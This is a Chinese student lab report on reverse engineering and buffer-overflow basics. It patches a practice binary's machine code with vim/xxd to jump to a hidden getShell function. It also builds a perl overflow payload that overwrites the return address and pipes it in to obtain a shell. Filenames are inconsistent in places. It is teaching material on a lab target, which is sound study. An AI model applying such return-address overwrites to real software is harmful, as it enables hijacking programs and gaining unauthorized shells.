20145213《网络对抗》逆向及Bof基础
2017-03-05 16:22
169 查看
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。
实践要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分)掌握反汇编与十六进制编程器 (1分)
能正确修改机器指令改变程序执行流程(1分)
能正确构造payload进行bof攻击(2分)
Optional:进阶,shellcode编程与注入
实践两种方法
1.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。2.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
基础知识
NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)JNE:条件转移指令,如果不相等则跳转。(机器码:75)
JE:条件转移指令,如果相等则跳转。(机器码:74)
JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
实验步骤
实验1、直接修改程序机器指令,改变程序执行流程
1.输入指令objdump -d 20145221 | more
2.输入指令
vi 20145221,用vim编辑器查看可执行文件20145221
3.输入指令
:%! xxd,进入vi编辑模式后,发现乱码,键入前述指令查看其16进制表示
4.输入指令
:\e8 d7查询,输入r进入编辑
5.很重要,先输入指令
%!xxd -r退出16进制后,再输入指令
:wq保存退出
6.输入指令
./20145213运行程序
实验2:通过构造输入参数,造成BOF攻击,改变程序执行流
1.了解函数功能,即输入一串字符输出同样的字符缓存区溢出,造成错误
2.
gdb指令调试
3.构造一串特殊的输入,输出
perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input
4.输入指令
(cat input; cat) | ./20145213,将input文件作为输入
相关文章推荐
- 20145211《网络对抗》逆向及BOF基础实践
- 20145308 《网络对抗》 逆向及BOF基础实践 学习总结
- 20145318《网络对抗》逆向及Bof基础
- 20145312《网络对抗》 逆向及Bof基础实践
- 《网络对抗》 逆向及Bof基础实践
- 20145201李子璇《网络对抗》逆向及Bof基础实践
- 20145310《网络对抗》逆向及Bof基础
- 20145216《网络对抗》逆向及BOF基础实践
- 20145334赵文豪《网络对抗》-逆向及Bof基础实践
- 20145239《网络对抗》- 逆向及Bof基础实践
- 20145331魏澍琛《网络对抗》逆向及Bof基础
- 20145240《网络对抗》逆向及Bof基础实践
- 20145206邹京儒《网络对抗》逆向及Bof基础实践
- 20145335郝昊《网络对抗》逆向及Bof基础实践
- 20145231熊梓宏《网络对抗》逆向及Bof基础
- 20145320《网络对抗》逆向及Bof基础实践
- 20145330 《网络对抗》逆向及BOF基础实践
- 20145338 《网络对抗》逆向及Bof基础实验
- 20145235李涛《网络对抗》逆向及Bof基础
- 20144303石宇森《网络对抗》逆向及Bof基础